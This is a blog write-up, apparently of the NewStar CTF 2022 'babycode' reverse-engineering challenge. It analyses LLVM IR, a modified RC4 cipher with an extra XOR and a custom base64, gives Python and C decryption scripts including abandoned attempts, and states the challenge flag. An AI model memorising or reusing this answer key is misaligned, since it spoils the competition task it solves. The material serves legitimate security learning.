input[9] = ((input[9] + 2) ^ 2 + 1 - 3 - 2 - 20 + 1) & 0xff
input[28] = ((input[28] ^ 28-1) ^ 28-3-1 + 1)
input[15] = (((input[15]-(53-177^165)) ^ 3 + 2) ^ 3)&0xff
input[16] = (((input[16]-3-2) + 3) ^ 227 -2)&0xff
input[8] = (((input[8]-(53+53)^43)  + 3-3-1) ^ 43)&0xff
input[1] = ((input[1]) ^ 1-178)&0xff
input[13] = ((input[1]) ^ 2) ^ 3 ^ 1
input[24] = (((input[24]) + 1) ^ 1) ^ 3
input[12] = ((input[12])-1-3 + 4) ^ 3
input[27] = ((input[27]-57-1-2) ^ 1 -3-1+ 3)

print(bytes(input))
# for i in range(len(input)):
#     print(chr(input[i] & 0xff), end='')

数据一直不对，不断排查后，猜测是位处理的问题，程序中的字符是无符号整型：

u_int8_t 处理后【写了个c脚本还是错误！！！！】

魔幻的问题！！再试一次！！！【还是不可以】

【不知道哪里出了问题，等WP吧！！！】

babycode (middle)

0x01 llvm 中间代码 .ll 了解

语言参考手册 — LLVM 16.0.0git 文档

(175条消息) LLVM IR(一)——如何使用LLVM编译执行代码_七妹要奈斯的博客-CSDN博客_llvm 生成ir

LLVM IR入门指南(1)——LLVM架构简介 - 知乎 (zhihu.com)

LLVM编译流程——全详解（快来看史上最细解析！！） | 码农家园 (codenong.com)

这里尝试将 .ll 转化为 .out 可执行文件。

Ubuntu 环境安装：

sudo apt-get install llvm

sudo apt-get install clang

# 安装失败

kali clang 环境：【环境自带】

将C文件编译为LLVM bitcode 文件
clang -o3  -emit-llvm hello.c -c -o hello.bc

由于.bc 是bitcode的二进制格式，.ll 文件 llvm bitcode 的可读文本
clang -o3  -emit-llvm hello.c -S -o hello.ll

llvm-dis 工具反汇编llvm bitcode 文件， 可以将bc文件转为.ll文件

llvm-dis hello.bc

用 llvm-as 工具通过汇编文件（.ll 文件）得到字节码文件（.bc 文件）
llvm-as hello.ll hello.bc

.bc编译成.o
第一种方法：用clang直接将其编译为可执行文件
clang a.o.bc -o struct

第二种方法：用llc先将bc编译为汇编，再用本地的gcc将其编译为可执行文件。

    llc a.o.bc -o hello.s
    gcc hello.s -o hello

编译生成可执行文件
clang hello.c -o hello

或者

clang -emit-llvm -c hello.c

.bc到.s编译指令
clang -S -fobjc-arc struct.bc -o struct.s

使用如下命令转换：

llvm-as task.ll task.bc

显然出题人，修改了！【避免这个解题思路】--->【当时做题的错误判断】

还是得分析.ll llvm 中间文件

【其实这里改为：

llvm-as task.ll -o task.bc

就可以很快将将ll中间文件转化为可执行文件！！！，0x05 就是这种思路

】

【但当时本着学习的态度，没深究就直接学习llvm .ll 中间代码去了,也比较曲折】

0x02 分析 .ll 中间文件算法流程

@ - 全局变量
% - 局部变量
alloca - 在当前执行的函数的堆栈帧中分配内存，当该函数返回到其调用者时，将自动释放内存
i32 - 32位4字节的整数
align - 对齐
load - 读出，store写入
icmp - 两个整数值比较，返回布尔值
br - 选择分支，根据条件来转向label，不根据条件跳转的话类型goto
label - 代码标签
call - 调用函数

(175条消息) （LLVM）中间语言（IR）基本语法简介_wy7980的博客-CSDN博客_ir中间语言

(176条消息) LLVM IR / LLVM指令集入门_Canliture的博客-CSDN博客_llvm指令集

Rc4 加密的分析：

  %22 = getelementptr inbounds [9 x i8], [9 x i8]* %3, i64 0, i64 0
  %23 = load i32, i32* %4, align 4
  call void @Rc4_Init(i8* %22, i32 %23)    // 传入密钥即密钥长度
  %24 = getelementptr inbounds [42 x i8], [42 x i8]* %2, i64 0, i64 0
  call void @Rc4_Encrypt(i8* %24, i32 16)

 知道 rc4 密钥key="llvmbitc"

# 同时调用了两次rc4 加密，
# 中间有一段xor 加密     // input[pos+16]^=input[pos]
# 如下

rc4_enc(input,16)
for pos in range(16)
    input[pos+16]^=input[pos]
rc4_enc(input[16],16)

魔改 Base64 分析：

  %22 = getelementptr inbounds i8, i8* %19, i64 %21    // 取出当前处理字符
  %23 = load i8, i8* %22, align 1
  %24 = zext i8 %23 to i32                                               // 类型强制转化
  %25 = ashr i32 %24, 2                                                   // 算数右移两位   input[i]>>2
  %26 = add nsw i32 %25, 59                                          //    input[i]+59
  %27 = trunc i32 %26 to i8                                             //    强制转化  相当于 &0xff
  %28 = load i8*, i8** %6, align 8
  %29 = load i32, i32* %9, align 4
  %30 = sext i32 %29 to i64
  %31 = getelementptr inbounds i8, i8* %28, i64 %30     // 存储base64 编码串
  store i8 %27, i8* %31, align 1
  %32 = load i8*, i8** %4, align 8
  %33 = load i32, i32* %7, align 4
  %34 = sext i32 %33 to i64
  %35 = getelementptr inbounds i8, i8* %32, i64 %34
  %36 = load i8, i8* %35, align 1
  %37 = zext i8 %36 to i32
  %38 = and i32 %37, 3                                                     // 获取第一个字符 低两位
  %39 = shl i32 %38, 4                                                      // 左移四位

  # 这里的编码思路就是：
  # 每三个字符，24位，切分成4断，每段6位。
  # 将6位对应的值 (value+ 59)&0xff 则是编码后的值。

0x03 深入分析 llvm中间代码算法流程

对上面流程实现解密！

# encoding=utf-8

from Crypto.Cipher import ARC4

enc = 'TSz`kWKgbMHszXaj`@kLBmRrnTxsNtZsSOtZzqYikCw'

for i in range(len(enc)):
    print((ord(enc[i])),end=',')

print()
for i in range(len(enc)):
    print(str(bin((ord(enc[i])-59)&0xff)[2:].zfill(6)), end='')

print()

enc_ = '0110010110001111111001011100000111000100001011001001110100100011011110001111110111011001101011111001010001011100000100010001111100100101111101111100110110011111011110000100111110010111111110000110000101001110010111111111111101100111101011101100000010001111'
print()

for i in range(0, len(enc_), 8):
    print(hex(int(enc_[i:i + 8], 2)), end=',')

chipher = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f, 0x25, 0xf7,
           0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f]

chipher1=[0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f]
chipher2=[0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f]

print()
# rc4 解密
key=b'llvmbitc\00'
# key=b'<---  NewStarCTF2022  --->\x00'

cipher_text2 = bytes(chipher2)

print(cipher_text2)
# 两次rc4

cipher = ARC4.new(key)
decrypt_text2 = cipher.decrypt(cipher_text2)

# 中间1次xor
decrypt_text2=list(decrypt_text2)
for i in range(0,len(decrypt_text2)):
    decrypt_text2[i]^=chipher[i]

print(decrypt_text2)

cipher_text1= bytes(chipher1)
print(cipher_text1)

# cipher = ARC4.new(key)
decrypt_text1 = cipher.decrypt(cipher_text1)

print(list(decrypt_text1),decrypt_text2)

解密发现得不出flag!!!

排查之后，发现应该是rc4 也被魔改了！

RC4加密算法原理简单理解 - 沉默的赌徒 - 博客园 (cnblogs.com)

 # 初始化
 @Rc4_Init(key,len)  # 分析发现，无魔改

key=b'llvmbitc\x00'

 for i in range(256):
     s[i]=i
     t[i]=key[i%len]

 j = 0;
 for i in range(256):
     j = (j + S[i] + T[i]) mod 256;
    swap(S[i] , S[j]);

 # 加密
@Rc4_Encrypt(input,len)

for i in range(len):
    i = (i + 1) mod 256;
    j = (j + S[i]) mod 256;
    swap(S[i] , S[j]);
    //t = (S[i] + S[j]) mod 256;
    t=S[(S[i] + S[j]) mod 256]

    k=t^0x89     //   魔改位置, 多xor 89
    //可以直接在这里进行加密，当然也可以将密钥流保存在数组中，最后进行异或就ok　　
    input[]=input[i]^k； //进行加密

rc4 就是加了一个 xor 89 的操作

0x04 解密分析

现在梳理一下加密流程：

rc4_enc(input,16) xor 89
for pos in range(16)
    input[pos+16]^=input[pos]
rc4_enc(input[16],16) xor 89

enc=b64encode(input[],32)

比较密文


chipher = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f,
           0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f]

chipher1 = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f]
chipher2 = [0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f]

for i in range(len(chipher)):
    chipher[i] ^= 89
    if i > 15:
        chipher[i] = chipher[i]^chipher[i - 16]^89

# rc4 解密
key = b'llvmbitc\x00'

cipher_text = bytes(chipher)
# 两次rc4  可以合并

cipher = ARC4.new(key)
decrypt_text = cipher.decrypt(cipher_text)

print()
print(decrypt_text)
print(list(decrypt_text))

但解密发现还是不对，猜测可能原因是Rc4 前后两次加密，共用一次初始化的S盒，但第二次加密下标从0开始，且使用第一次Rc4加密后的S盒，这里显然是耦合的，显然只能写脚本解密，py调用模板肯定用不了！

写了个 c脚本，也无用！！！直接蒙蔽，，，

#include<stdio.h>

/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
    int i = 0, j = 0;
    char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++) {
        s[i] = i;
        k[i] = key[i % Len_k];
    }
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

/*
RC4加解密函数
unsigned char* Data     加解密的数据
unsigned long Len_D     加解密数据的长度
unsigned char* key      密钥
unsigned long Len_k     密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
    unsigned char s[256];
    rc4_init(s, key, Len_k);
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len_D/2; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] = Data[k] ^ s[t]^89;
        printf("0x%x,",s[t]^89);
    }
    printf("\n");
    i=0,j=0,t=0;
    for (k = 0; k < Len_D/2; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k+16] = Data[k+16] ^ s[t]^89;
        printf("0x%x,",s[t]^89);
    }
        printf("\n");
}

int main()
{
    //字符串密钥
//    unsigned char key[] = "zstuctf";
    unsigned char key[] ="llvmbitc";
    unsigned long key_len = sizeof(key) -1 ;

//    //数组密钥
//    unsigned char key[] = {0x6c,0x6c,0x76,0x6d,0x62,0x69,0x74,0x63,0x0};
//    unsigned long key_len = sizeof(key);

    //加解密数据
//    unsigned char data[] = { 0x7E, 0x6D, 0x55, 0xC0, 0x0C, 0xF0, 0xB4, 0xC7, 0xDC, 0x45,
//        0xCE, 0x15, 0xD1, 0xB5, 0x1E, 0x11, 0x14, 0xDF, 0x6E, 0x95,
//        0x77, 0x9A, 0x12, 0x99 };

    unsigned char data[]={0x65,0x8f,0xe5,0xc1,0xc4,0x2c,0x9d,0x23,0x78,0xfd,0xd9,0xaf,0x94,0x5c,0x11,0x1f,0x25,0xf7,0xcd,0x9f,0x78,0x4f,0x97,0xf8,0x61,0x4e,0x5f,0xff,0x67,0xae,0xc0,0x8f};     

    unsigned char data1[]={0x65,0x8f,0xe5,0xc1,0xc4,0x2c,0x9d,0x23,0x78,0xfd,0xd9,0xaf,0x94,0x5c,0x11,0x1f,0x25,0xf7,0xcd,0x9f,0x78,0x4f,0x97,0xf8,0x61,0x4e,0x5f,0xff,0x67,0xae,0xc0,0x8f};        

    //加解密
    rc4_crypt(data, sizeof(data), key, key_len);

    for (int i = 0; i < sizeof(data); i++)
    {
        if (i>15)
        {
            printf("%c,", data[i]^data1[i-16]);
        }
        else
        {
            printf("%c,", data[i]);
        }
    }
    printf("\n");
    return 0;
}

哪分析错了呢！，先缓缓，后面再来做！！！

0x05 .ll 转化为 elf 再探索

后面又尝试以将中间代码转化为可执行文件的思路

└─# llvm-as task.ll task.bc
llvm-as: Too many positional arguments specified!
Can specify at most 1 positional arguments: See: llvm-as --help
┌──(root㉿xiaoxiao)-[~/ida_]
└─# llvm-as task.ll -o task.bc

┌──(root㉿xiaoxiao)-[~/ida_]
└─# clang task.bc -o task

# 原来，最开始是由于少了 -o 造成 .ll 到 .bc 转化失败！！！

导出task可执行程序后，ida分析elf 文件

发现，一直遗漏了一个细节！！！base64 编码是，第2、3是交换了位置的！

同时，多出2个字节的编码也有改动！【显然，对llvm 中间代码的分析还是有点马虎】【其他加密逻辑是分析清楚了的】

# encoding=utf-8

from Crypto.Cipher import ARC4

enc = 'TSz`kWKgbMHszXaj`@kLBmRrnTxsNtZsSOtZzqYikCw='

for i in range(len(enc)):
    print((ord(enc[i])), end=',')

print()
for i in range(0, len(enc)-4, 4):
    print(str(bin((ord(enc[i]) - 59) & 0xff)[2:].zfill(6)), end='')
    print(str(bin((ord(enc[i + 2]) - 59) & 0xff)[2:].zfill(6)), end='')
    print(str(bin((ord(enc[i + 1]) - 59) & 0xff)[2:].zfill(6)), end='')
    print(str(bin((ord(enc[i + 3]) - 59) & 0xff)[2:].zfill(6)), end='')
# base64 最后 = 处理
for i in range(len(enc)-4,len(enc),4):
    print(str(bin((ord(enc[i]) - 59) & 0xff)[2:].zfill(6)), end='')
    print(str(bin((ord(enc[i + 1]) - 59) & 0xff)[2:].zfill(6)), end='')
    print(str(bin(((ord(enc[i + 2]) - 59)>>2) & 0xf)[2:].zfill(6)), end='')
    print('0'*6)

print()

enc_ = '011001111111011000100101110000010000011100101100100111001101010010111000111111100110011101101111100101110000000101010001000111010111110010110111110011111101011001111000010011011111111001111000011000111001010100011111111111011110110110101110110000001000001111000000'
print()

for i in range(0, len(enc_), 8):
    print(hex(int(enc_[i:i + 8], 2)), end=',')

chipher = [0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83,0xc0]

如下，再用C脚本解密得到：

#include<stdio.h>

/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
    int i = 0, j = 0;
    char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++) {
        s[i] = i;
        k[i] = key[i % Len_k];
    }
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

/*
RC4加解密函数
unsigned char* Data     加解密的数据
unsigned long Len_D     加解密数据的长度
unsigned char* key      密钥
unsigned long Len_k     密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
    unsigned char s[256];
    rc4_init(s, key, Len_k);
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len_D/2; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] = Data[k] ^ s[t]^89;
        printf("0x%x,",s[t]^89);
    }
    printf("\n");
    i=0,j=0,t=0;
    for (k = 0; k < Len_D/2; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k+16] = Data[k+16] ^ s[t]^89;
        printf("0x%x,",s[t]^89);
    }
        printf("\n");
}

int main()
{
    //字符串密钥
//    unsigned char key[] = "zstuctf";
    unsigned char key[] ="llvmbitc";
    unsigned long key_len = sizeof(key) -1 ;

//    //数组密钥
//    unsigned char key[] = {0x6c,0x6c,0x76,0x6d,0x62,0x69,0x74,0x63,0x0};
//    unsigned long key_len = sizeof(key);

    //加解密数据
//    unsigned char data[] = { 0x7E, 0x6D, 0x55, 0xC0, 0x0C, 0xF0, 0xB4, 0xC7, 0xDC, 0x45,
//        0xCE, 0x15, 0xD1, 0xB5, 0x1E, 0x11, 0x14, 0xDF, 0x6E, 0x95,
//        0x77, 0x9A, 0x12, 0x99 };

    unsigned char data[]={0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83};
    unsigned char data1[]={0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83};
    //加解密
    rc4_crypt(data, sizeof(data), key, key_len);

    for (int i = 0; i < sizeof(data); i++)
    {
        if (i>15)
        {
            printf("%c", data[i]^data1[i-16]);
        }
        else
        {
            printf("%c", data[i]);
        }
    }
    printf("\n");
    return 0;
}

flag{Hacking_for_fun@reverser$!q

【这里最后一字节，是'q'不是'}'的原因在于，base64 编码时，有个&0xf的操作，导致信息丢失，但由于只有一位也就不爆破了】

得到flag:

flag{Hacking_for_fun@reverser$!}

【注：这题学到了很多东西，对.ll中间代码语法摸了个小透，但由于base64 编码的小细节没注意到，导致做题时还是很曲折的，最后转化为可执行文件进行逆向才成功破案】

这次 NewStar CTF 2022 公开赛，体验很好。我回顾了很多Re方面的知识点，也学习到了一些新的东西。从Week2 开始参赛，直到 Week5 结束，主攻逆向题目，做了少量Web题。Re 题除了Week5 的 Virtual Self 没做出来，其他全部解出，这是十分鼓舞人心的，当然也算是一个不圆满的小遗憾了吧！【没能Ak Week2-Week5 的所有Re】。

最后对自己有一点小小(笑笑)的展望:希望接下来，能在中等难度比赛中有所突破【相对应的，也就是在逆向水平方面有所提高】！

手机扫一扫

移动阅读更方便

你可能感兴趣的文章

DASCTF 2023 & 0X401七月暑期挑战赛

Linux网络管理命令

2019UNCTF竞技赛部分writeup

NEFU-NSILAB2021选拔赛WriteUp

NewStarCTF 公开赛 2022 RE WP

Re

前可见古人，后得见来者

FindME

Petals

Likemyasp

ur_so_naive

0x01 程序分析

0x02 动态调试 .so 文件

0x03 解密py

Web

Word-For-You(2 Gen)

0x01 程序注入分析

0x02 解密py

IncludeOne

0x01 程序分析

0x02 爆破种子

0x03 绕过正则

UnserializeOne

0x01 pop 链分析

0x02 构造反序列化数据

ezAPI

0x01 题目分析

0x02 graphql 数据查询

Re

Zzzzzz3333

The Slider's Labyrinth

EzTea

Annnnnggrr

0x01 angr 思路分析

0x02 其他解决方案

funnyOTL

Web

BabySSTI_One

multiSQL

0x01 sql 注入 测试

0x02 尝试堆叠注入

Re

Hash

Exception

0x01 程序分析

0x02 解密

HelpMe

0x01 ps1 解析恢复xlsm

0x02 Excel 宏处理

0x03 py解密

哈德兔的口

0x01 程序分析

0x02 动态调试 .so文件

mpz

0x01 搜索相关知识

0x02 程序分析

0x03 解密流程

Web

So Baby RCE

0x01 绕过技巧

0x02 RCE

BabySSTI_Two

0x01 测试黑名单

0x02 绕过测试

0x03 Rce success

UnserializeThree

0x01 题目分析

0x02 phar 反序列化漏洞利用

0x03 绕过验证

Re

拔丝溜肆 (easy)

0x01 程序分析

0x02 base 变表解编码

E4sy_Mix (hard)

0x01 smc 自修改

0x02 py解密

Petals Level Up (easy)

0x01 程序分析

0x02 程序动态调试跟进

0x03 解密py

Virtual Self (middle)

0x01 VM opcode 转换为 可理解语句

0x02 翻译后的伪汇编代码分析

0x03 py解密

0x01 sql 注入测试

0x01 VM opcode 转换为可理解语句